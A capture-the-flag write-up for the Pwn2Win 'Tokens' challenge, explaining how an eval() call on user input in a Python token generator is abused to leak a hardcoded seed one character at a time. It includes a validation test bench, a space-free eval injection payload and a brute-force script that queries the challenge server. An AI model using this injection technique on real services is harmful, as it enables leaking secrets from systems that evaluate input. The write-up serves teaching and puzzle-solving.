This was a fun little challenge that was primarily thinking (esoteric mostly), reversing, and Python based. The security, or programming expertise is minimal for this one, it's mostly puzzle solving.

Tokens

Points: 50

Category: Python Exploitation

Description:

English: We discovered a Club’s “homemade” token generator system which uses a fixed value as a seed (is it a joke?). Some Club systems use this token scheme, so we need to make a leak in order to compromise them. Due to a week-long effort, our hardcore newbie SkyMex was able to obtain the token generator source code from a private git repository before it received the official seed. Submit the flag in the format: CTF-BR{seed}.

We're given a Python file, tokens.py, and a general description of what the file probably is. It's a token generator system, meaning it's supposed to give 1 time credentials, that are usually seeded from random data. But, this one is apparently using a constant seed, and our mission is to get that seed.

The algorithm of the token generator is summarized here in pseudo-python.

seed = "???????????????????????" while True: userinput = input() cmd, serialnum = userinput.split() if !validate(userinput): exit() serialnum = eval(serialnum) # Why??? if serialnum is int and len(serialnum) == 4: token = gentoken(serialnum, seed, date) print(token)

The key points of the code are the validation() function, the use of eval , and then the gentoken() function. We already have arbitrary (for the most part) code execution with the eval . But we're facing four challenges:

eval in Python, must be fed an input, that will return a value, and not simply 'do'. Meaning, something like 3+3 can be eval 'd, whereas print "Hi mom!" cannot be eval 'd - an exception will be thrown. validate() must successfully return, so we any input we give to the token generator, has to pass the validation which forbids certain characters such, | , and " . There's also the hidden challenge that after the input() a split() happens. That means if we want to sneak in any python code that's longer than 1 word, we're going to have to do it without spaces like ninjas. We have to somehow get the seed variable out of the system without breaking (1), (2), and (3).

So how can we get the seed out? We can't simply do a print , because our input would fail (1). However, let's recall how the token is generated, a token essentially mixes together a username (serial number), a randomly generated seed, and a timestamp into a single one time use password. However, this token generator is missing the crucial step of the randomly generated seed, and instead it's a constant. So, the only thing that's actually changing when the token is generated is the timestamp. You cannot rely simply on a timestamp for randomization, because it's predictable and not fine grain enough (meaning, you can only get millisecond precision).

So we can reverse engineer the gentoken() function and figure out how 1ms increases in time change the key, or we can just send as many requests as we can in the 1ms window to the token generator with the same serial number, and get back the same token. However, the token returned will be different for 2 different serial numbers given to it in the same timestamp, awesome!

We can be smart, or we can simply just guess every possible letter for every character in the seed string.

if seed[i] == guess: return 2017 else: return 1000

So we have to fit that construct somehow into the input() , without breaking (1), (2), and (3) from above. I set up a test bench for this to figure out what exactly can I fit into a string that'll still pass.

# This validation() is copy pasted from tokens.py given to us def validation(input): err = int() input = str(input) # 3,4,6,8,9,-,/,*,%,<,>, and bunch more banned nochrs = [34,60,62,33,64,35,36,37,94,38,42,45,47,51,52,54,56,57,63,92,96,124,59,123,125] for i in input: if ord(i) in nochrs: print(i) err = 1 break else: err = 0 if not err: return 1 else: return 0 # This function is used to just test for what successfully gets past (1) and (2) def test_seed(): seed = "flag{http://eugenekolo.com}" cmd = "gen" tmp = eval("{cmd:eval('''2017.if.seed[2].==.'{}'.else.1000'''.replace('.',chr(0x20)))}") if validation("eval('''2017.if.seed[2].==.'{}'.else.1000'''.replace('.',chr(0x20)))"): print("valid") if (type(tmp.values()[0])) == int: print("yes int") if len(str(tmp.values()[0])) == 4: print(tmp.values()[0]) test_seed()

Awesome, we found a string that passes validation, and outputs 2 different values based on what seed actually is. There is however one extra little pain here. If you look at the list of banned characters in validation, you'll notice that the ASCII representation of the numbers, 3, 4, 6, and some others are banned. That means we can't pass a string that indexes directly into seed[2] , or seed[4] , and so on. We also cannot test if the valid guess for the seed index is a '3', or a '4', and so on. Lucky for us, the ASCII representation of '1' is not banned, so we can simply just add a bunch of 1's to form the actual value we want.

from datetime import datetime from socket import * import telnetlib, struct s=socket(AF_INET, SOCK_STREAM) s.connect(('tokens.pwn2win.party', 6037)) t = telnetlib.Telnet() t.sock = s for i in range(0,60): for x in range(20, 128): # Fun little hack to get in arbitrary numbers due to some characters being banned x = "1+"*x x = x.rstrip("+") index = "1+"*i index = index.rstrip("+") if i == 0: index = '0' # Let's take a guess of what seed[i] might be guess = "gen eval('''2017.if.seed[{}].==.chr({}).else.1000'''.replace('.',chr(0x20)))".format(index, x) t.write(guess+"

") # Did we guess right?! r = t.read_until(">>>") # This number is the different one if you give a serial number of 2017 instead of 1000 if '47872900' in r: print(i, chr(eval(x))) print(r)

And you end up with several of these:

(0, 'J') Token: 47872897 Valid until: 1:1:59 ... (3, '5') Token: 47872897 ...

I believe there's an unintentional bug, or something in the code as well, because we shouldn't be able to send and receive ~40 requests in 1ms across the Internet. It seems that the token generator is a bit broken and doesn't even change for every millisecond increase.

Also in my solution there actually an off by one error (I just guessed and fixed it up), so you'll end up with the string: Jf{5pvg:cbi4QvohpPtibf:fjijfhi4jftfFovHi , which is the answer + 1 to each character, where the real one is: